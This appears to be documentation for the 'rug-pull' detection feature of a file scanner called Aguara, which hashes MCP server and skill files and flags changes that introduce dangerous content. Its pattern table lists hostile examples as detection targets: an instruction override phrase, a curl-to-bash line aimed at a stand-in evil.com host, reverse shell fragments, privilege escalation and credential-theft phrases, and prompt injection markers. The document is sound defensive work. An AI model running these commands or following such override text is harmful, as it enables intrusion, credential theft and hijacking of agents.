Overview
The rug-pull analyzer:- First scan: Records a SHA256 hash of each file’s content
- Subsequent scans: Compares current content against stored hashes
- On change: If content changed AND now contains dangerous patterns, emits a
CRITICALfinding
Enabling Rug-Pull Detection
Basic Usage
Enable hash tracking with the--monitor flag:
~/.aguara/state.json. On subsequent runs, it detects changes.
Custom State Path
Store state in a project-specific location:CI Integration
In CI environments, persist the state file across runs:How It Works
Hash Tracking
Aguara computes a SHA256 hash of each file’s content:~/.aguara/state.json:
Dangerous Patterns
When a file changes, Aguara checks the new content for:| Pattern | Example |
|---|---|
| Instruction override | ignore all previous instructions |
| Download-and-execute | curl https://evil.com | bash |
| Code execution | eval(userInput), subprocess.call(cmd, shell=True) |
| Privilege escalation | sudo, chmod +s, chown root |
| Exfiltration keywords | exfiltrate, reverse shell, backdoor |
| Reverse shell | /dev/tcp/, bash -i >& |
| Credential theft | send credentials to, upload secrets via |
| Prompt injection markers | <|im_start|>, <system>, <instructions> |
RUGPULL_001 finding is emitted.
Severity and Confidence
- Severity:
CRITICAL(always) - Category:
rug-pull - Confidence: 0.95 (95%)
- Analyzer:
rugpull
Example Scenarios
Scenario 1: Malicious Modification
Initialdeploy.md (clean):
deploy.md (malicious):
Scenario 2: Safe Update
Modifieddeploy.md (still clean):
State File Format
The state file (~/.aguara/state.json) stores hashes in a simple JSON structure:
- Key: Relative path from scan root
- Hash: SHA256 hex digest
- Updated At: RFC3339 timestamp of last update
Security Considerations
- Symlink Protection: State file cannot be a symlink (rejected with error)
- Permissions: Created with
0o600(owner read/write only) - Directory Permissions: Parent directory created with
0o700(owner-only) - Atomic Writes: Uses temp file + rename to prevent corruption
Performance
- Hash Computation: O(file size), ~500 MB/s on modern hardware
- Storage: ~100 bytes per file in state.json
- No Network: Fully offline, no external dependencies
Limitations
Does Not Detect
- Behavior changes without code changes: If a tool calls a remote API that changes behavior server-side
- Non-file threats: Changes to external dependencies (e.g.,
npxpackage updates) - False negatives: If malicious patterns are obfuscated (base64, hex, etc.)
First-Scan Blind Spot
Rug-pull detection requires at least two scans. On the first scan, Aguara has no previous hash to compare against, so it cannot detect if the file is already malicious. Always run a fullaguara scan (without --monitor) on first install.
Best Practices
1. Baseline on Install
When installing a new MCP server or skill:2. Commit State in Git (Team Projects)
For team projects, commit.aguara-state.json to version control:
3. Separate State Per Environment
Use different state files for dev vs. production:4. Combine with Incremental Scanning
Scan only changed files with rug-pull detection:Comparison with —changed
| Feature | --monitor | --changed |
|---|---|---|
| Detects | Dangerous content in changed files | All issues in git-modified files |
| Requires | Persistent state file | Git repository |
| Scope | All files (compares vs. previous scan) | Git-modified files only |
| Use Case | Long-term monitoring, rug-pull attacks | PR reviews, incremental CI scans |
Related
- Incremental Scanning — Scan only modified files with
--changed - Output Formats — CI-friendly JSON and SARIF output
- MCP Discovery — Auto-detect MCP configs to monitor
